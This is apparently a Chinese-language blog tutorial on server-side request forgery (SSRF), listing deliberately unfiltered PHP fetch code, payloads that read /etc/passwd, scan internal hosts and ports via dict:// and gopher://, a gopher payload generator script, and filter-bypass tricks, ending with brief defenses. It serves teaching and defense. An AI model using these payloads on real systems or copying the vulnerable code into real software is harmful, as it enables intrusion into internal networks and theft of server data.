SSRF

Chiexf Lv4

0x00 概念

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞利用一个可发起网络请求的服务器当作跳板来攻击其他服务。

0x01 原理

服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。

0x02 SSRF漏洞用途

  • 扫描内外网的端口和服务
  • 主机本地数据的读取
  • dos
  • 攻击内外网存在的已知漏洞

0x03 产生漏洞的函数

file_get_contents()

  • 从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。
1
2
3
4
5
// ssrf.php
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

fsockopen()

  • 打开 Internet 或者 Unix 套接字连接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

curl_exec()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源

// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>

readfile()

  • 与**file_get_contents()**类似,输出一个文件的内容。
1
2
3
4
<?php
$url = $_GET['url'];
readfile($url);
?>

fopen()

  • 打开一个文件或者URL
  • 配合fread才能够进行回显
1
2
3
4
5
6
<?php 
//fopen.php
$file = fopen($_GET['url'], 'r');
echo fread($file, 4096);//限制读取大小 4096
fclose($file);
?>

0x04 SSRF漏洞利用

SSRf中的URL伪协议

1
2
3
4
5
6
7
file:// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如dict://ip:6379/info,通过dict 协议可以远程访问一个指定的tcp 端口,并且会返回端口所提供的服务的部分组件信息,当目标端口开放(有服务信息显示,但会报错)

sftp:// ssh文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload

案例

  • 代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// ssrf.php
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源

// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>
  • 测试环境
1
2
3
4
外网IP: 192.168.33.333
内网IP: 192.168.22.222

网段: 192.168.22.0/24

伪协议读取文件

  • payload
1
?url=file:///etc/passwd

探测内网主机存活

  • 读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。
  • IP地址分类
1
2
3
A: 10.0.0.0 - 10.255.255.255
B: 172.16.0.0 - 172.31.255.255
C: 192.168.0.0 - 192.168.255.255
  • payload
1
2
3
?url=http://192.168.22.1
?url=http://192.168.22.5
......

扫描内网端口

1
2
3
4
5
6
7
8
9
redis:
?url=dict://192.168.22.1:6379
?url=dict://192.168.22.1:6379/info
http:
?url=dict://192.168.22.1:80
?url=dict://192.168.22.1:80/info
ssh:
?url=dict://192.168.22.1:22
?url=dict://192.168.22.1:22/info

gopher协议利用

在各编程语言中的限制

协议 PHP Java Curl Perl ASP.NET
gopher –wite-curlwrappers且php版本至少为5.3 jdk<1.7 低版本不支持 支持 小于版本3

协议格式

  • gopher的默认端口是70
  • post请求,回车换行需要使用%0d%0a,多个参数之间的&需要url编码
1
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
  • 不要忘了下划线_,否则服务的接收到的消息将不完整,该字符可随意。

发送GET请求

  • 测试代码
1
2
3
4
// echo.php
<?php
echo "Hello ".$_GET["whoami"]."\n"
?>
  • 抓包
1
2
GET /echo.php?whoami=Bunny HTTP/1.1
Host: 192.168.1.1
  • 利用脚本生成payload
1
2
3
4
5
6
7
8
9
10
import urllib.parse
payload =\
"""GET /echo.php?whoami=Bunny HTTP/1.1
Host: 192.168.1.1
"""
# 注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://ip:80/'+'_'+new
print(result)
  • 执行
1
2
curl 
gopher://ip:80/_GET%20/echo.php%3Fwhoami%3DBunny%20HTTP/1.1%0D%0AHost%3A%20192.168.1.1%0D%0A

发送POST请求

  • 测试代码
1
2
3
4
// echo.php
<?php
echo "Hello ".$_POST["whoami"]."\n"
?>
  • 抓包

POST、Host、Content-Type、Content-Length是POST请求必须的。

1
2
3
4
5
6
POST /echo.php HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

whoami=Bunny
  • 利用脚本生成payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import urllib.parse
payload =\
"""POST /echo.php HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

whoami=Bunny
"""
# 注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://ip:80/'+'_'+new
print(result)
  • 执行
1
curl gopher://ip:80/_POST%20/echo.php%20HTTP/1.1%0D%0AHost%3A%20192.168.1.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2012%0D%0A%0D%0Awhoami%3DBunny%0D%0A

攻击内网redis

这篇文章:https://blog.chaitin.cn/gopher-attack-surfaces/

读取源代码

1
?url=php://filter/convert.base64-encode/resource=代码页面

0x05 绕过

利用HTTP基本身份认证的方式绕过

  • 目标代码限制访问的域名只能为 http://www.xxx.com,那我们可以采用利用HTTP基本身份认证的方式绕过,即http://www.xxx.com@www.evil.com

利用302跳转绕过内网IP

  • 采用短地址绕过
1
2
https://www.s-3.cn/
https://my5353.com/
  • 利用http://xip.io绕过

不论什么ip,域名加上xip.io都会回归原本的地址,类似的还有http://sslip.iohttp://nip.io

1
http://127.0.0.1.xip.io/flag.php -> http://127.0.0.1/flag.php

进制转换

1
2
3
4
5
6
7
https://www.sojson.com/hexconvert.html

127.0.0.1
八进制:
0177.0.0.1
十六进制:
0x7f.0.0.1

利用[::]

1
2
利用[::]绕过localhost 
http://[::]:80 -> http://127.0.0.1

指向127.0.0.1

1
2
3
4
5
6
7
8
9
10
11
12
13
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://0
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪

用句号绕过

  • PHP > 5.5.9
1
127。0。0。1 -> 127.0.0.1

0x06 防御

1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符号标准。
2.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3.限制请求的端口为http常用的端口,比如80,443,8080,8090。
4.黑名单内网IP,避免应用被用来获取内网数据,攻击内网。
5.禁用不需要的协议,仅仅允许http和https请求,可以防止类似file://、gopher://等协议引起的问题。